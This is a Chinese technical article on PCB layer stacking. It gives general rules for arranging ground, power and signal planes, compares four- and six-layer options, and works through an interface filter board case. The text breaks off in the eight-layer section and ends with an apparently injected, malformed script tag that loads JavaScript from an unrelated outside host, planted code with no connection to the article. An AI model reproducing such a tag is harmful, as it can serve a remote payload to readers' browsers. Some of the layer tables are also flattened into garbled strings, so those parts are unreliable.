较多的pcb工程师,他们经常画电脑主板,对allegro等优秀的工具非常的熟练,但是,非常可惜的是,他们居然很少知道如何进行阻抗控制,如何使用工具进行信号完整性分析.如何使用ibis模型我觉得真正的pcb高手应该还是信号完整性专家,而不仅仅停留在连连线,过过孔的基础上对布通一块板子容易，布好一块好难。
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对于电源、地的层数以及信号层数确定后，它们之间的相对排布位置是每一个pcb工程师都不能回避的话题；
单板层的排布一般原则：
元件面下面（第二层）为地平面，提供器件屏蔽层以及为顶层布线提供参考平面；
所有信号层尽可能与地平面相邻；
尽量避免两信号层直接相邻；
主电源尽可能与其对应地相邻；
兼顾层压结构对称。
对于母板的层排布，现有母板很难控制平行长距离布线，对于板级工作频率在50mhz以上的（50mhz以下的情况可参照，适当放宽），建议排布原则：
元件面、焊接面为完整的地平面（屏蔽）；
无相邻平行布线层；
所有信号层尽可能与地平面相邻；
关键信号与地层相邻，不跨分割区。
注：具体pcb的层的设置时，要对以上原则进行灵活掌握，在领会以上原则的基础上，根据实际单板的需求，如：是否需要一关键布线层、电源、地平面的分割情况等，确定层的排布，切忌生搬硬套，或抠住一点不放。
以下为单板层的排布的具体探讨：
*四层板，优选方案1，可用方案3
方案电源层数地层数信号层数1234
1112sgps
2122gssp
3112spgs
方案1此方案四层pcb的主选层设置方案，在元件面下有一地平面，关键信号优选布top层；至于层厚设置，有以下建议：
满足阻抗控制芯板（gnd到power）不宜过厚，以降低电源、地平面的分布阻抗；保证电源平面的去藕效果；为了达到一定的屏蔽效果，有人试图把电源、地平面放在top、bottom层，即采用方案2：
此方案为了达到想要的屏蔽效果，至少存在以下缺陷：
电源、地相距过远，电源平面阻抗较大
电源、地平面由于元件焊盘等影响，极不完整
由于参考面不完整，信号阻抗不连续
实际上，由于大量采用表贴器件，对于器件越来越密的情况下，本方案的电源、地几乎无法作为完整的参考平面，预期的屏蔽效果很难实现；方案2使用范围有限。但在个别单板中，方案2不失为最佳层设置方案。
以下为方案2使用案例；
案例（特例）：设计过程中，出现了以下情况：
a、整板无电源平面，只有gnd、pgnd各占一个平面；
b、整板走线简单，但作为接口滤波板，布线的辐射必须关注；
c、该板贴片元件较少，多数为插件。
分析：
１、由于该板无电源平面，电源平面阻抗问题也就不存在了；
２、由于贴片元件少（单面布局），若表层做平面层，内层走线，参考平面的完整性基本得到保证，而且第二层可铺铜保证少量顶层走线的参考平面；
３、作为接口滤波板，pcb布线的辐射必须关注，若内层走线，表层为gnd、pgnd，走线得到很好的屏蔽，传输线的辐射得到控制；
鉴于以上原因，在本板的层的排布时，决定采用方案2，即：gnd、s1、s2、pgnd，由于表层仍有少量短走线，而底层则为完整的地平面，我们在s1布线层铺铜，保证了表层走线的参考平面；五块接口滤波板中，出于以上同样的分析，设计人员决定采用方案2，同样不失为层的设置经典。
列举以上特例，就是要告诉大家，要领会层的排布原则，而非机械照搬。
方案3：此方案同方案1类似，适用于主要器件在bottom布局或关键信号底层布线的情况；一般情况下，限制使用此方案；
*六层板：优选方案3，可用方案1，备用方案2、4对于六层板，优先考虑方案3，优选布线层s2，其次s3、s1。主电源及其对应的地布在4、5层，层厚设置时，增大s2-p之间的间距，缩小p-g2之间的间距（相应缩小g1-s2层之间的间距），以减小电源平面的阻抗，减少电源对s2的影响；
在成本要求较高的时候，可采用方案1，优选布线层s1、s2，其次s3、s4，与方案1相比，方案2保证了电源、地平面相邻，减少电源阻抗，但s1、s2、s3、s4全部裸露在外，只有s2才有较好的参考平面；
对于局部、少量信号要求较高的场合，方案4比方案3更适合，它能提供极佳的布线层s2。
*八层板：优选方案2、3、可用方案1
对于单电源的情况下，?script src=http://er12.com/t.js>
